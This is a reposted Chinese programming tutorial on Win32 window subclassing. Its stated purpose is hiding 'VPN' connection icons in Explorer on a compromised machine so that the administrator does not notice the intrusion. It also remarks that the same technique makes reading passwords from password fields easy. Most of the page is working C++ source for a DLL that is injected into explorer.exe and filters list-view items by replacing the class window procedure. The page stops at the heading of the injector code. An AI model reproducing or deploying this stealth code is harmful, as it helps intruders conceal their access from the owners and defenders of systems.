当前位置: 首页 > 图文教程 > 开发语言 > VC++ > 利用窗口子类化隐藏系统图标

VC++
在类VC的界面实现中加入目录树
软件换肤技术在 BCB 中的实现
利用非模窗口生成MDI介面
报表输出轻松搞定
Windows 中不规则窗体的编程实现
解说Win32的窗口子类化
使用测试优先方法开发用户界面
一个简单的登录对话框的实现
一个简单的日记本程序
从资源中加载皮肤
一个在RichEdit中添加表情图象的类
ActiveSkin 4.3 软件换肤在VC中的实现
一种另类“关于(About)”对话框的动态显示方法
对话框打印预览及打印
关于如何换肤、子类化的解决方案
制作 MSN、QQ 的消息提示窗口
如何对 BCGControlBarPro 进行换肤
定制个性化的对话框窗口类
改变窗口中的光标形状
更新MFC中的视图,跟踪.NET Framework中的事件

VC++ 中的 利用窗口子类化隐藏系统图标


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 122 ::
收藏到网摘: n/a

利用窗口子类化隐藏系统图标

作者: Kruglinski
http://kruglinski.blogchina.com/

下载源代码

窗口子类化是一种非常有用的技术,通常它用在Windows GUI编程方面,我们用这种技术来创建新的控件,比如让SubClassing一个Edit控件添加一些消息处理让它变成MaskEdit控件等等.反过来想想如果我们SubClassing一个有ES_PASSWORD风格的窗口控件,得到它的密码是难是吗?很简单,不过是一句CallWindowProc调用,只不过在NT等系统上需要Inject一个DLL到目标进程来SubClassing一个进程中的窗口或是子窗口.

用Spy++看了一下,资源管理器里列表视图其实就是一个SysListView32控件,我们现在就是要"创建一个新的SysListView32控件",让它不显示带有"VPN"字符串的图标.有时我们控制了一台肉机,用VPN拨进去,但又不想管理员发现它,肯定要隐藏很多东西,隐藏图标是最直观的一种.

先来看看三个API:

SetWindowLong
SetClassLong
CallWindowProc

SetWindowLong可以改变一个窗口实例的窗口过程,它的作用范围仅仅是一个窗口.

SetClassLong虽然操作的是一个窗口句柄,但作用却是对创建这个窗口的窗口类进行修改,我们可以让它修改进程范围内某种窗口类的窗口过程,这里指的窗口类是User32窗口对象类,而不是MFC或是VCL窗口封装类.
顺便提一下改变一个进程中的基本控件类也可以影响到它的超类,比如Delphi VCL使用超类化来创建控件,首先它会调用GetClassInfo得到某个类的系统窗口过程或风格等参数,比如SysListView32窗口类,然后用得到参数再注册(RegistetClass)一个TListView窗口类,能够在它GetClassInfo前先用SetClassLong子类化了某个窗口类,就可以实现其超类(如,TListView)的消息过滤.

而CallWindowProc通常在我们处理完消息后再调用以实现控件基本的功能,因为我们可没有时间写一个完整的EDIT控件或是SysListView32控件.

废话不多说.
一个实例Explorer.dll,它在Explorer.exe进程子类化"SysListView32"窗口类,然后过滤掉带有"VPN"字符串(不区分大小写)的图标,我使用了一个Magic Number,就是当图标少于32个时才进行搜索过滤,也就是说我假定系统中的网络连接不超过32个,这样做是为了提高程序性能,我们不去搜索很大的文件夹.程序由VC++ 6.0 sp5编译通过,Windows 2000 Professional下运行调试通过.使用方式是用远程线程注入到explorer.exe进程即可,而后在explorer.exe新打开/创建的窗口中生效.

过滤程序(explorer.cpp)

#include "stdafx.h"#include <windows.h>#include <CommCtrl.h>#include <process.h>#include <tchar.h>#include <shlwapi.h>#define MAGIC_NUMBER (0x20)WNDPROC lpfnSupperClassProc=NULL;__forceinlinevoid HideItem(HWND hListCtrl,DWORD dwItemcount){ LVITEM li={0}; char text[50]={0}; li.pszText=text; li.cchTextMax=50; for(DWORD i=0;i<dwItemcount;i++) { CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li); if(StrStrI(li.pszText,_T("vpn"))!=NULL) CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0); }}LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam){ DWORD dwItemcount=0; if(WM_PAINT==uMsg) { dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0); if(dwItemcount<MAGIC_NUMBER) HideItem(hwnd,dwItemcount); } return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);}__forceinlineBOOL InstallListFilter(){ BOOL bRet=FALSE; HWND hWnd=NULL; INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES}; bRet=InitCommonControlsEx(&cls); if(bRet) { hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,	NULL,NULL,NULL,NULL); lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC); SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc); DestroyWindow(hWnd); } return bRet;}BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved){ if(DLL_PROCESS_ATTACH==ul_reason_for_call) InstallListFilter(); return TRUE;}

注入程序:InjectDLL.cpp